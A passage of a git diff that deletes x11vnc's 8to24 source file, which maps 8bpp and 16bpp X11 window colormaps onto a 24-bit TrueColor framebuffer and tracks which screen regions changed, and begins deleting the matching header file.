- my1 = nfix(y1 - ns, dpy_y);
- my2 = nfix(y1 + ns, dpy_y+1);
-
- rect = sraRgnCreateRect(mx1, my1, mx2, my2);
- sraRgnOr(mod, rect);
- sraRgnDestroy(rect);
- }
- return 1;
-#endif /* NO_X11 */
-}
-
-static void poll_line_complement(int x1, int x2, int y1, sraRegionPtr mod) {
- int n_off, w, xl, xh, stride = 32;
- char *dst, *src;
- int inrun = 0, rx1 = -1, rx2 = -1;
- sraRegionPtr rect;
- int mx1, mx2, my1, my2;
- int ns = NSCAN/2;
-
- if (depth != 24) {
- return;
- }
- if (! cmap8to24_fb) {
- return;
- }
- if (! xgetimage_8to24) {
- return;
- }
-
- n_off = main_bytes_per_line * y1 + 4 * x1;
-
- src = main_fb + n_off;
- dst = cmap8to24_fb + n_off;
-
- inrun = 0;
-
- xl = x1;
- while (xl < x2) {
- xh = xl + stride;
- if (xh > x2) {
- xh = x2;
- }
- w = xh - xl;
- if (memcmp(dst, src, 4 * w)) {
- if (inrun) {
- rx2 = xh;
- } else {
- rx1 = xl;
- rx2 = xh;
- inrun = 1;
- }
- } else {
- if (inrun) {
- mx1 = rx1;
- mx2 = rx2;
- my1 = nfix(y1 - ns, dpy_y);
- my2 = nfix(y1 + ns, dpy_y+1);
-
- rect = sraRgnCreateRect(mx1, my1, mx2, my2);
- sraRgnOr(mod, rect);
- sraRgnDestroy(rect);
-
- inrun = 0;
- }
- }
-
- xl += stride;
- dst += 4 * stride;
- src += 4 * stride;
- }
-
- if (inrun) {
- mx1 = rx1;
- mx2 = rx2;
- my1 = nfix(y1 - ns, dpy_y);
- my2 = nfix(y1 + ns, dpy_y+1);
-
- rect = sraRgnCreateRect(mx1, my1, mx2, my2);
- sraRgnOr(mod, rect);
- sraRgnDestroy(rect);
-
- inrun = 0;
- }
-}
-
-#define CMAPMAX 64
-static Colormap cmaps[CMAPMAX];
-static int ncmaps;
-
-static int poll_8bpp(sraRegionPtr mod, int validate) {
- int i, y, ysh, map_count;
- static int ycnt = 0;
- sraRegionPtr line;
- sraRect rect;
- sraRectangleIterator *iter;
- int br = 0, area = 0;
- static double last_call = 0.0;
-
- map_count = get_8bpp_regions(validate);
-
-if (db24 > 1) fprintf(stderr, "poll_8bpp mc: %d\n", map_count);
-
- if (! map_count) {
- return 0;
- }
-
- set_poll_fb();
-
- ysh = scanlines[(ycnt++) % NSCAN];
-if (db24 > 2) fprintf(stderr, "poll_8bpp: ysh: %2d %.4f\n", ysh, dnow() - last_call);
- last_call = dnow();
-
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- sraRegionPtr reg = windows_8bpp[i].clip_region;
-
- if (! reg || sraRgnEmpty(reg)) {
- continue;
- }
- y = ysh;
- while (y < dpy_y) {
- line = sraRgnCreateRect(0, y, dpy_x, y+1);
-
- if (sraRgnAnd(line, reg)) {
- iter = sraRgnGetIterator(line);
- while (sraRgnIteratorNext(iter, &rect)) {
- if (! poll_line(rect.x1, rect.x2,
- rect.y1, i, mod)) {
- br = 1;
- break; /* exception */
- }
- }
- sraRgnReleaseIterator(iter);
- }
-
- sraRgnDestroy(line);
- y += NSCAN;
- if (br) break;
- }
- if (br) break;
- }
-
- iter = sraRgnGetIterator(mod);
- while (sraRgnIteratorNext(iter, &rect)) {
- area += nabs((rect.x2 - rect.x1)*(rect.y2 - rect.y1));
- }
- sraRgnReleaseIterator(iter);
-
- return area;
-}
-
-static void poll_8bpp_complement(sraRegionPtr mod) {
- int i, y, ysh;
- static int ycnt = 0;
- sraRegionPtr disp, line;
- sraRect rect;
- sraRectangleIterator *iter;
-
- disp = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- ysh = scanlines[(ycnt++) % NSCAN];
-
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- sraRegionPtr reg = windows_8bpp[i].clip_region;
-
- if (! reg) {
- continue;
- }
- if (windows_8bpp[i].map_state != IsViewable) {
- continue;
- }
- sraRgnSubtract(disp, reg);
- }
-
- y = ysh;
- while (y < dpy_y) {
- line = sraRgnCreateRect(0, y, dpy_x, y+1);
-
- if (sraRgnAnd(line, disp)) {
- iter = sraRgnGetIterator(line);
- while (sraRgnIteratorNext(iter, &rect)) {
- poll_line_complement(rect.x1, rect.x2,
- rect.y1, mod);
- }
- sraRgnReleaseIterator(iter);
- }
-
- sraRgnDestroy(line);
-
- y += NSCAN;
- }
-
- sraRgnDestroy(disp);
-}
-
-static void mark_rgn_rects(sraRegionPtr mod) {
- sraRect rect;
- sraRectangleIterator *iter;
- int area = 0;
-
- if (sraRgnEmpty(mod)) {
- return;
- }
-
- iter = sraRgnGetIterator(mod);
- while (sraRgnIteratorNext(iter, &rect)) {
- mark_rect_as_modified(rect.x1, rect.y1, rect.x2, rect.y2, 0);
- area += nabs((rect.x2 - rect.x1)*(rect.y2 - rect.y1));
- }
- sraRgnReleaseIterator(iter);
-
-if (db24 > 1) fprintf(stderr, " mark_rgn_rects area: %d\n", area);
-}
-
-static int get_8bpp_regions(int validate) {
-
- XWindowAttributes attr;
- int i, k, mapcount = 0;
-
- /* initialize color map list */
- ncmaps = 0;
- for (i=0; i < CMAPMAX; i++) {
- cmaps[i] = (Colormap) 0;
- }
-
- /* loop over the table of 8bpp windows: */
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- sraRegionPtr tmp_reg, tmp_reg2;
- Window c, w = windows_8bpp[i].win;
- int x, y;
-
- if (windows_8bpp[i].clip_region) {
- sraRgnDestroy(windows_8bpp[i].clip_region);
- }
- windows_8bpp[i].clip_region = NULL;
-
- if (w == None) {
- continue;
- }
-
-if (db24 > 1) fprintf(stderr, "get_8bpp_regions: 0x%lx ms=%d dep=%d i=%d\n", w, windows_8bpp[i].map_state, windows_8bpp[i].depth, i);
- if (validate) {
- /*
- * this could be slow: validating 8bpp windows each
- * time...
- */
-
- X_LOCK;
- if (! valid_window(w, &attr, 1)) {
- X_UNLOCK;
- windows_8bpp[i].win = None;
- windows_8bpp[i].top = None;
- windows_8bpp[i].map_state = IsUnmapped;
- windows_8bpp[i].cmap = (Colormap) 0;
- windows_8bpp[i].fetched = 0;
- windows_8bpp[i].last_fetched = -1.0;
- continue;
- }
- X_UNLOCK;
-
- windows_8bpp[i].depth = attr.depth;
- windows_8bpp[i].map_state = attr.map_state;
- windows_8bpp[i].cmap = attr.colormap;
- windows_8bpp[i].map_installed = attr.map_installed;
- windows_8bpp[i].w = attr.width;
- windows_8bpp[i].h = attr.height;
- windows_8bpp[i].fetched = 1;
- windows_8bpp[i].last_fetched = dnow();
-
- if (attr.map_state != IsViewable) {
- continue;
- }
-
- X_LOCK;
- xtranslate(w, window, 0, 0, &x, &y, &c, 1);
- X_UNLOCK;
- windows_8bpp[i].x = x;
- windows_8bpp[i].y = y;
-
- } else {
- /* this will be faster: no call to X server: */
- if (windows_8bpp[i].map_state != IsViewable) {
- continue;
- }
- attr.depth = windows_8bpp[i].depth;
- attr.map_state = windows_8bpp[i].map_state;
- attr.colormap = windows_8bpp[i].cmap;
- attr.map_installed = windows_8bpp[i].map_installed;
- attr.width = windows_8bpp[i].w;
- attr.height = windows_8bpp[i].h;
-
- x = windows_8bpp[i].x;
- y = windows_8bpp[i].y;
- }
-
- mapcount++;
-
- /* tmp region for this 8bpp rectangle: */
- tmp_reg = sraRgnCreateRect(nfix(x, dpy_x), nfix(y, dpy_y),
- nfix(x + attr.width, dpy_x+1), nfix(y + attr.height, dpy_y+1));
-
- /* loop over all toplevels, top to bottom clipping: */
- for (k = stack_list_num - 1; k >= 0; k--) {
- Window swin = stack_list[k].win;
- int sx, sy, sw, sh;
-
-if (db24 > 1 && stack_list[k].map_state == IsViewable) fprintf(stderr, "Stack win: 0x%lx %d iv=%d\n", swin, k, stack_list[k].map_state);
-
- if (swin == windows_8bpp[i].top) {
- /* found our top level: we skip the rest. */
-if (db24 > 1) fprintf(stderr, "found top: 0x%lx %d iv=%d\n", swin, k, stack_list[k].map_state);
- break;
- }
- if (stack_list[k].map_state != IsViewable) {
- /* skip unmapped ones: */
- continue;
- }
-
- /* make a temp rect for this toplevel: */
- sx = stack_list[k].x;
- sy = stack_list[k].y;
- sw = stack_list[k].width;
- sh = stack_list[k].height;
-
-if (db24 > 1) fprintf(stderr, "subtract: 0x%lx %d -- %d %d %d %d\n", swin, k, sx, sy, sw, sh);
-
- tmp_reg2 = sraRgnCreateRect(nfix(sx, dpy_x),
- nfix(sy, dpy_y), nfix(sx + sw, dpy_x+1),
- nfix(sy + sh, dpy_y+1));
-
- /* subtract it from the 8bpp window region */
- sraRgnSubtract(tmp_reg, tmp_reg2);
-
- sraRgnDestroy(tmp_reg2);
-
- if (sraRgnEmpty(tmp_reg)) {
- break;
- }
- }
-
- if (sraRgnEmpty(tmp_reg)) {
- /* skip this 8bpp if completely clipped away: */
- sraRgnDestroy(tmp_reg);
- continue;
- }
-
- /* otherwise, store any new colormaps: */
- if (ncmaps < CMAPMAX && attr.colormap != (Colormap) 0) {
- int m, seen = 0;
- for (m=0; m < ncmaps; m++) {
- if (cmaps[m] == attr.colormap) {
- seen = 1;
- break;
- }
- }
- if (!seen && attr.depth <= 16) {
- /* store only new ones: */
- cmaps[ncmaps++] = attr.colormap;
- }
- }
-
- windows_8bpp[i].clip_region = tmp_reg;
- }
-
- return mapcount;
-}
-
-static XColor *color[CMAPMAX];
-static unsigned int *rgb[CMAPMAX];
-static int cmap_failed[CMAPMAX];
-static int color_init = 0;
-int histo[65536];
-
-static int get_cmap(int j, Colormap cmap) {
-#if NO_X11
- RAWFB_RET(0)
- if (!j || !cmap) {}
- return 0;
-#else
- int i, ncells, ncolor;
- XErrorHandler old_handler = NULL;
-
- RAWFB_RET(0)
-
- if (depth > 16) {
- /* 24 */
- ncolor = NCOLOR;
- } else if (depth > 8) {
- ncolor = 1 << depth;
- } else {
- ncolor = NCOLOR;
- }
- if (!color_init) {
- int cm;
- for (cm = 0; cm < CMAPMAX; cm++) {
- color[cm] = (XColor *) malloc(ncolor * sizeof(XColor));
- rgb[cm] = (unsigned int *) malloc(ncolor * sizeof(unsigned int));
- }
- color_init = 1;
- }
-
- if (depth <= 16) {
- /* not working properly for depth 24... */
- X_LOCK;
- ncells = CellsOfScreen(ScreenOfDisplay(dpy, scr));
- X_UNLOCK;
- } else {
- ncells = NCOLOR;
- }
-
- if (depth > 16) {
- ;
- } else if (ncells > ncolor) {
- ncells = ncolor;
- } else if (ncells == 8 && depth != 3) {
- /* XXX. see set_colormap() */
- ncells = 1 << depth;
- }
-
- /* initialize XColor array: */
- for (i=0; i < ncells; i++) {
- color[j][i].pixel = i;
- color[j][i].pad = 0;
- }
-if (db24 > 1) fprintf(stderr, "get_cmap: %d 0x%x ncolor=%d ncells=%d\n", j, (unsigned int) cmap, ncolor, ncells);
-
- /* try to query the colormap, trap errors */
- X_LOCK;
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
- XQueryColors(dpy, cmap, color[j], ncells);
- XSetErrorHandler(old_handler);
- X_UNLOCK;
-
- if (trapped_xerror) {
- trapped_xerror = 0;
- return 0;
- }
- trapped_xerror = 0;
-
- /* now map each index to depth 24 RGB */
- for (i=0; i < ncells; i++) {
- unsigned int red, green, blue;
- /* strip out highest 8 bits of values: */
- red = (color[j][i].red & 0xff00) >> 8;
- green = (color[j][i].green & 0xff00) >> 8;
- blue = (color[j][i].blue & 0xff00) >> 8;
-
- /*
- * the maxes should be at 255 already,
- * but just in case...
- */
- red = (main_red_max * red )/255;
- green = (main_green_max * green)/255;
- blue = (main_blue_max * blue )/255;
-
-if (db24 > 2) fprintf(stderr, " cmap[%02d][%03d]: %03d %03d %03d 0x%08x \n", j, i, red, green, blue, ( red << main_red_shift | green << main_green_shift | blue << main_blue_shift));
-
- /* shift them over and or together for value */
- red = red << main_red_shift;
- green = green << main_green_shift;
- blue = blue << main_blue_shift;
-
- /* store it in the array to be used later */
- rgb[j][i] = red | green | blue;
- }
- return 1;
-#endif /* NO_X11 */
-}
-
-static void do_8bpp_region(int n, sraRegionPtr mark) {
- int k, cm = -1, failed = 0;
- sraRectangleIterator *iter;
- sraRegionPtr clip;
- sraRect rect;
-
- if (! windows_8bpp[n].clip_region) {
- return;
- }
- if (windows_8bpp[n].win == None) {
- return;
- }
- if (windows_8bpp[n].map_state != IsViewable) {
- return;
- }
-if (db24 > 1) fprintf(stderr, "ncmaps: %d\n", ncmaps);
-
- /* see if XQueryColors failed: */
- for (k=0; k<ncmaps; k++) {
- if (windows_8bpp[n].cmap == cmaps[k]) {
- cm = k;
- if (cmap_failed[k]) {
- failed = 1;
- }
- break;
- }
- }
-
- if (windows_8bpp[n].depth != 24) { /* 24 won't have a cmap */
- if (failed || cm == -1) {
- return;
- }
- }
-
- clip = sraRgnCreateRgn(mark);
- sraRgnAnd(clip, windows_8bpp[n].clip_region);
-
- /* loop over the rectangles making up region */
- iter = sraRgnGetIterator(clip);
- while (sraRgnIteratorNext(iter, &rect)) {
- if (rect.x1 > rect.x2) {
- int tmp = rect.x2;
- rect.x2 = rect.x1;
- rect.x1 = tmp;
- }
- if (rect.y1 > rect.y2) {
- int tmp = rect.y2;
- rect.y2 = rect.y1;
- rect.y1 = tmp;
- }
-
- transform_rect(rect, windows_8bpp[n].win,
- windows_8bpp[n].depth, cm);
- }
- sraRgnReleaseIterator(iter);
- sraRgnDestroy(clip);
-}
-
-static XImage *cmap_xi(XImage *xi, Window win, int win_depth) {
-#if NO_X11
- if (!xi || !win || !win_depth) {}
- return NULL;
-#else
- XWindowAttributes attr;
- char *d;
-
- if (xi) {
- XDestroyImage(xi);
- }
- if (! dpy || ! valid_window(win, &attr, 1)) {
- return (XImage *) NULL;
- }
- if (win_depth == 24) {
- d = (char *) malloc(dpy_x * dpy_y * 4);
- } else if (win_depth <= 16) {
- if (win_depth > 8) {
- d = (char *) malloc(dpy_x * dpy_y * 2);
- } else {
- d = (char *) malloc(dpy_x * dpy_y * 1);
- }
- } else {
- return (XImage *) NULL;
- }
- return XCreateImage(dpy, attr.visual, win_depth, ZPixmap, 0, d, dpy_x, dpy_y, 8, 0);
-#endif /* NO_X11 */
-}
-
-
-static void transform_rect(sraRect rect, Window win, int win_depth, int cm) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!rect.x1 || !win || !win_depth || !cm) {}
- return;
-#else
-
- char *src, *dst, *poll;
- unsigned int *ui;
- unsigned short *us;
- unsigned char *uc;
- int ps, pixelsize = bpp/8;
- int poll_Bpl;
-
- int do_getimage = xgetimage_8to24;
- int line, n_off, j, h, w;
- unsigned int hi, idx;
- XWindowAttributes attr;
- XErrorHandler old_handler = NULL;
-
-if (db24 > 1) fprintf(stderr, "transform %4d %4d %4d %4d cm: %d\n", rect.x1, rect.y1, rect.x2, rect.y2, cm);
-
- RAWFB_RET_VOID
-
- attr.width = 0;
- attr.height = 0;
-
- /* now transform the pixels in this rectangle: */
- n_off = main_bytes_per_line * rect.y1 + pixelsize * rect.x1;
-
- h = rect.y2 - rect.y1;
- w = rect.x2 - rect.x1;
-
- if (depth != 24) {
- /* need to fetch depth 24 data. */
- do_getimage = 1;
- }
-
-#if 0
- if (do_getimage) {
- X_LOCK;
- vw = valid_window(win, &attr, 1);
- X_UNLOCK;
- }
-
- if (do_getimage && vw) {
-#else
- if (do_getimage) {
-#endif
- static XImage *xi_8 = NULL;
- static XImage *xi_24 = NULL;
- XImage *xi = NULL, *xi_r;
- Window c;
- unsigned int wu, hu;
- int xo, yo;
-
- wu = (unsigned int) w;
- hu = (unsigned int) h;
-
- X_LOCK;
-#define GETSUBIMAGE
-#ifdef GETSUBIMAGE
- if (win_depth == 24) {
- if (xi_24 == NULL || xi_24->width != dpy_x ||
- xi_24->height != dpy_y) {
- xi_24 = cmap_xi(xi_24, win, 24);
- }
- xi = xi_24;
- } else if (win_depth <= 16) {
- if (xi_8 == NULL || xi_8->width != dpy_x ||
- xi_8->height != dpy_y) {
- if (win_depth > 8) {
- /* XXX */
- xi_8 = cmap_xi(xi_8, win, 16);
- } else {
- xi_8 = cmap_xi(xi_8, win, 8);
- }
- }
- xi = xi_8;
- }
-#endif
-
- if (xi == NULL) {
- rfbLog("transform_rect: xi is NULL\n");
- X_UNLOCK;
- clean_up_exit(1);
- }
-
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- XTranslateCoordinates(dpy, win, window, 0, 0, &xo, &yo, &c);
-
- xo = rect.x1 - xo;
- yo = rect.y1 - yo;
-
-if (db24 > 1) fprintf(stderr, "xywh: %d %d %d %d vs. %d %d\n", xo, yo, w, h, attr.width, attr.height);
-
- if (trapped_xerror || xo < 0 || yo < 0) {
- /* w > attr.width || h > attr.height */
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- trapped_xerror = 0;
-if (db24 > 1) fprintf(stderr, "skipping due to potential bad match...\n");
- return;
- }
- trapped_xerror = 0;
-
-#ifndef GETSUBIMAGE
- xi = XGetImage(dpy, win, xo, yo, wu, hu, AllPlanes, ZPixmap);
- xi_r = xi;
-#else
- xi_r = XGetSubImage(dpy, win, xo, yo, wu, hu, AllPlanes,
- ZPixmap, xi, 0, 0);
-#endif
- XSetErrorHandler(old_handler);
-
- X_UNLOCK;
-
- if (! xi_r || trapped_xerror) {
- trapped_xerror = 0;
-if (db24 > 1) fprintf(stderr, "xi-fail: 0x%p trap=%d %d %d %d %d\n", (void *)xi, trapped_xerror, xo, yo, w, h);
- return;
- } else {
-if (db24 > 1) fprintf(stderr, "xi: 0x%p %d %d %d %d -- %d %d\n", (void *)xi, xo, yo, w, h, xi->width, xi->height);
- }
- trapped_xerror = 0;
-
- if (xi->depth > 16 && xi->depth != 24) {
-#ifndef GETSUBIMAGE
- X_LOCK;
- XDestroyImage(xi);
- X_UNLOCK;
-#endif
-if (db24) fprintf(stderr, "xi: wrong depth: %d\n", xi->depth);
- return;
- }
-
- set_poll_fb();
-
- if (xi->depth == 24) {
- /* line by line ... */
- int ps1 = 4, fac;
- if (depth <= 8) {
- fac = 4;
- } else if (depth <= 16) {
- fac = 2;
- } else {
- fac = 1; /* will not happen 24 on 24 */
- }
-
- src = xi->data;
- dst = cmap8to24_fb + fac * n_off;
-
- poll = poll24_fb + (poll24_fb_w * rect.y1 + rect.x1) * 4;
- poll_Bpl = poll24_fb_w * 4;
-
- for (line = 0; line < h; line++) {
- memcpy(dst, src, w * ps1);
- memcpy(poll, src, w * ps1);
-
- src += xi->bytes_per_line;
- dst += main_bytes_per_line * fac;
- poll += poll_Bpl;
- }
- } else if (xi->depth <= 16) {
- int ps1, ps2, fac;
-
- if (depth <= 8) {
- ps1 = 1;
- ps2 = 4;
- fac = 4;
- } else if (depth <= 16) {
- ps1 = 2;
- ps2 = 4;
- fac = 4;
- } else {
- /* should be 24 case */
- ps1 = 1;
- ps2 = pixelsize;
- fac = 1;
- }
-
- src = xi->data;
- dst = cmap8to24_fb + (fac/ps1) * n_off;
-
- poll = poll8_fb + poll8_fb_w * rect.y1 * ps1 + rect.x1 * ps1;
- poll_Bpl = poll8_fb_w * ps1;
-
- /* line by line ... */
- for (line = 0; line < h; line++) {
- /* pixel by pixel... */
- for (j = 0; j < w; j++) {
- if (ps1 == 2) {
- unsigned short *ptmp;
- us = (unsigned short *) (src + ps1 * j);
- idx = (int) (*us);
- ptmp = (unsigned short *) (poll + ps1 * j);
- *ptmp = *us;
- } else {
- uc = (unsigned char *) (src + ps1 * j);
- idx = (int) (*uc);
- *(poll + ps1 * j) = *uc;
- }
- ui = (unsigned int *) (dst + ps2 * j);
- *ui = rgb[cm][idx];
-
- }
- src += xi->bytes_per_line;
- dst += main_bytes_per_line * (fac/ps1);
- poll += poll_Bpl;
- }
- }
-
-#ifndef GETSUBIMAGE
- X_LOCK;
- XDestroyImage(xi);
- X_UNLOCK;
-#endif
-
- } else if (! do_getimage) {
- int fac;
-
- if (depth <= 16) {
- /* cooked up depth 24 TrueColor */
- /* but currently disabled (high bits no useful?) */
- ps = 4;
- fac = 4;
- /* XXX not correct for depth > 8, but do we ever come here in that case? */
- src = cmap8to24_fb + 4 * n_off;
- } else {
- ps = pixelsize;
- fac = 1;
- src = cmap8to24_fb + n_off;
- }
-
- /* line by line ... */
- for (line = 0; line < h; line++) {
- /* pixel by pixel... */
- for (j = 0; j < w; j++) {
-
- /* grab 32 bit value */
- ui = (unsigned int *) (src + ps * j);
-
- /* extract top 8 bits (FIXME: masks?) */
- hi = (*ui) & 0xff000000;
-
- /* map to lookup index; rewrite pixel */
- idx = hi >> 24;
- *ui = hi | rgb[cm][idx];
- }
- src += main_bytes_per_line * fac;
- }
- }
-#endif /* NO_X11 */
-}
-
-void bpp8to24(int x1, int y1, int x2, int y2) {
- char *src, *dst;
- unsigned char *uc;
- unsigned short *us;
- unsigned int *ui;
- int idx, pixelsize = bpp/8;
- int line, k, i, j, h, w;
- int n_off;
- sraRegionPtr rect;
- int validate = 1;
- static int last_map_count = 0, call_count = 0;
- static double last_get_8bpp_validate = 0.0;
- static double last_snapshot = 0.0;
- double now;
- double dt, d0 = 0.0, t2;
-
- RAWFB_RET_VOID
-
- if (! cmap8to24 || ! cmap8to24_fb) {
- /* hmmm, why were we called? */
- return;
- }
-
-if (db24 > 1) fprintf(stderr, "bpp8to24 %d %d %d %d %.4f\n", x1, y1, x2, y2, dnow() - last_get_8bpp_validate);
-
- call_count++;
-
- /* clip to display just in case: */
- if (!ncache) {
- x1 = nfix(x1, dpy_x);
- y1 = nfix(y1, dpy_y);
- x2 = nfix(x2, dpy_x+1);
- y2 = nfix(y2, dpy_y+1);
- }
-
- if (wireframe_in_progress) {
- /*
- * draw_box() manages cmap8to24_fb for us so we get out as
- * soon as we can. No need to cp main_fb -> cmap8to24_fb.
- */
- return;
- }
-
- /* copy from main_fb to cmap8to24_fb regardless of 8bpp windows: */
-
- h = y2 - y1;
- w = x2 - x1;
-
- if (depth == 24) {
- /* pixelsize = 4 */
- n_off = main_bytes_per_line * y1 + pixelsize * x1;
-
- src = main_fb + n_off;
- dst = cmap8to24_fb + n_off;
-
- /* otherwise, the pixel data as is */
- for (line = 0; line < h; line++) {
- memcpy(dst, src, w * pixelsize);
- src += main_bytes_per_line;
- dst += main_bytes_per_line;
- }
- } else if (depth <= 16) {
- /* need to cook up to depth 24 TrueColor */
- int ps1 = 1, ps2 = 4;
- if (depth > 8) {
- ps1 = 2;
- }
-
- /* pixelsize = 1, 2 */
- n_off = main_bytes_per_line * y1 + pixelsize * x1;
-
- src = main_fb + n_off;
- dst = cmap8to24_fb + (4/ps1) * n_off;
-
- set_root_cmap();
- if (root_cmap) {
-#if 0
- unsigned int hi;
-#endif
-
- /* line by line ... */
- for (line = 0; line < h; line++) {
- /* pixel by pixel... */
- for (j = 0; j < w; j++) {
- if (ps1 == 2) {
- us = (unsigned short *) (src + ps1 * j);
- idx = (int) (*us);
- } else {
- uc = (unsigned char *) (src + ps1 * j);
- idx = (int) (*uc);
- }
- ui = (unsigned int *) (dst + ps2 * j);
-
-if (0 && line % 100 == 0 && j % 32 == 0) fprintf(stderr, "%d %d %u x1=%d y1=%d\n", line, j, root_rgb[idx], x1, y1);
-#if 0
- if (do_hibits) {
- hi = idx << 24;
- *ui = hi | rgb[0][idx];
- } else {
- }
-#endif
- *ui = root_rgb[idx];
-if (db24 > 2) histo[idx]++;
- }
- src += main_bytes_per_line;
- dst += main_bytes_per_line * (4/ps1);
- }
- }
-
- }
-
- if (last_map_count > MAX_8BPP_WINDOWS/4) {
- /* table is filling up... skip validating sometimes: */
- int skip = 3;
- if (last_map_count > MAX_8BPP_WINDOWS/2) {
- skip = 6;
- } else if (last_map_count > 3*MAX_8BPP_WINDOWS/4) {
- skip = 12;
- }
- if (call_count % skip != 0) {
- validate = 0;
- }
- }
-
-if (db24 > 2) {for(i=0;i<256;i++){histo[i]=0;}}
-
- now = dnow();
- dt = now - last_get_8bpp_validate;
- /* TUNABLES */
- if (dt < 0.003) {
- ; /* XXX does this still give painting errors? */
- } else {
- int snapit = 0;
- double delay1, delay2, delay3;
- if (poll_8to24_delay >= POLL_8TO24_DELAY) {
- delay1 = 1.0 * poll_8to24_delay;
- delay2 = 2.0 * poll_8to24_delay;
- delay3 = 10. * poll_8to24_delay;
- } else {
- delay1 = 1.0 * POLL_8TO24_DELAY; /* 0.05 */
- delay2 = 2.0 * POLL_8TO24_DELAY; /* 0.1 */
- delay3 = 10. * POLL_8TO24_DELAY; /* 0.5 */
- }
- if (cache_win > 1.0) {
- delay2 *= 2;
- delay3 *= 2;
- }
- if (dt < delay1) {
- validate = 0;
- }
- if (last_map_count) {
- if (now > last_snapshot + delay2) {
- snapit = 1;
- }
- } else {
- if (now > last_snapshot + delay3) {
- snapit = 1;
- }
- }
-
- if (snapit) {
- /* less problems if we update the stack frequently */
- snapshot_stack_list(0, 0.0);
-if (0) fprintf(stderr, "SNAP time: %.4f\n", dnow() - now);
- update_stack_list();
- last_snapshot = dnow();
-if (0) fprintf(stderr, "UPDA time: %.4f\n", last_snapshot - now);
- }
-
-if (0) t2 = dnow();
- last_map_count = get_8bpp_regions(validate);
- if (validate) {
- last_get_8bpp_validate = dnow();
- }
-if (0) fprintf(stderr, "get8bpp-%d: %.4f\n", validate, dnow() - t2);
- }
-if (db24) d0 = dnow();
-
-if (db24 > 1) fprintf(stderr, "bpp8to24 w=%d h=%d m=%p c=%p r=%p ncmaps=%d\n", w, h, main_fb, cmap8to24_fb, rfb_fb, ncmaps);
-
- /*
- * now go back and transform and 8bpp regions to TrueColor in
- * cmap8to24_fb.
- */
- if (last_map_count && (ncmaps || depth <= 16)) {
- int i, j;
- int win[MAX_8BPP_WINDOWS];
- int did[MAX_8BPP_WINDOWS];
- int count = 0;
-
- /*
- * first, grab all of the associated colormaps from the
- * X server. Hopefully just 1 or 2...
- */
- for (j=0; j<ncmaps; j++) {
- if (! get_cmap(j, cmaps[j])) {
- cmap_failed[j] = 1;
- } else {
- cmap_failed[j] = 0;
- }
-if (db24 > 2) fprintf(stderr, "cmap %d %.4f\n", (int) cmaps[j], dnow() - d0);
- }
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- sraRegionPtr reg = windows_8bpp[i].clip_region;
- if (reg) {
- rect = sraRgnCreateRect(x1, y1, x2, y2);
- if (sraRgnAnd(rect, reg)) {
- win[count] = i;
- did[count++] = 0;
- }
- sraRgnDestroy(rect);
- }
- }
-
- if (count) {
-
- rect = sraRgnCreateRect(x1, y1, x2, y2);
- /* try to apply lower windows first */
- for (k=0; k < stack_list_num; k++) {
- Window swin = stack_list[k].win;
- for (j=0; j<count; j++) {
- i = win[j];
- if (did[j]) {
- continue;
- }
- if (windows_8bpp[i].top == swin) {
- do_8bpp_region(i, rect);
- did[j] = 1;
- break;
- }
- }
- }
- for (j=0; j<count; j++) {
- if (! did[j]) {
- i = win[j];
- do_8bpp_region(i, rect);
- did[j] = 1;
- }
- }
- sraRgnDestroy(rect);
- }
- }
-if (0) fprintf(stderr, "done time: %.4f\n", dnow() - d0);
-
-if (db24 > 2) {for(i=0; i<256;i++) {fprintf(stderr, " cmap histo[%03d] %d\n", i, histo[i]);}}
-}
-
-void mark_8bpp(int mode) {
- int i, cnt = 0;
- Window top = None;
-
- RAWFB_RET_VOID
-
- if (! cmap8to24 || !cmap8to24_fb) {
- return;
- }
-
- if (mode == MARK_8BPP_TOP) {
- int k;
- for (k = stack_list_num - 1; k >= 0; k--) {
- Window swin = stack_list[k].win;
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- if (windows_8bpp[i].win == None) {
- continue;
- }
- if (windows_8bpp[i].map_state != IsViewable) {
- continue;
- }
- if (swin == windows_8bpp[i].top) {
- top = swin;
- break;
- }
- }
- if (top != None) {
- break;
- }
- }
- }
-
- /* for each mapped 8bpp window, mark it changed: */
-
- for (i=0; i < MAX_8BPP_WINDOWS; i++) {
- int x1, y1, x2, y2, w, h, f = 32;
-
- f = 0; /* skip fuzz, may bring in other windows... */
-
- if (windows_8bpp[i].win == None) {
- continue;
- }
- if (mode == MARK_8BPP_TOP) {
- if (windows_8bpp[i].top != top) {
- continue;
- }
- }
- if (windows_8bpp[i].map_state != IsViewable) {
- XWindowAttributes attr;
- int vw = 0;
-
- X_LOCK;
- vw = valid_window(windows_8bpp[i].win, &attr, 1);
- X_UNLOCK;
- if (vw) {
- if (attr.map_state != IsViewable) {
- continue;
- }
- } else {
- continue;
- }
- }
-
- x1 = windows_8bpp[i].x;
- y1 = windows_8bpp[i].y;
- w = windows_8bpp[i].w;
- h = windows_8bpp[i].h;
-
- x2 = x1 + w;
- y2 = y1 + h;
-
- if (mode == MARK_8BPP_POINTER) {
- int b = 32; /* apply some fuzz for wm border */
- if (cursor_x < x1 - b || cursor_y < y1 - b) {
- continue;
- }
- if (cursor_x > x2 + b || cursor_y > y2 + b) {
- continue;
- }
- }
-
- /* apply fuzz f around each one; constrain to screen */
- x1 = nfix(x1 - f, dpy_x);
- y1 = nfix(y1 - f, dpy_y);
- x2 = nfix(x2 + f, dpy_x+1);
- y2 = nfix(y2 + f, dpy_y+1);
-
-if (db24 > 1) fprintf(stderr, "mark_8bpp: 0x%lx %d %d %d %d\n", windows_8bpp[i].win, x1, y1, x2, y2);
-
- mark_rect_as_modified(x1, y1, x2, y2, 0);
- cnt++;
- }
- if (cnt) {
- /* push it to viewers if possible. */
- rfbPE(-1);
- }
-}
-
-#endif /* SKIP_8TO24 */
-
diff --git a/x11vnc/8to24.h b/x11vnc/8to24.h
deleted file mode 100644
index d83412b..0000000
--- a/x11vnc/8to24.h
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
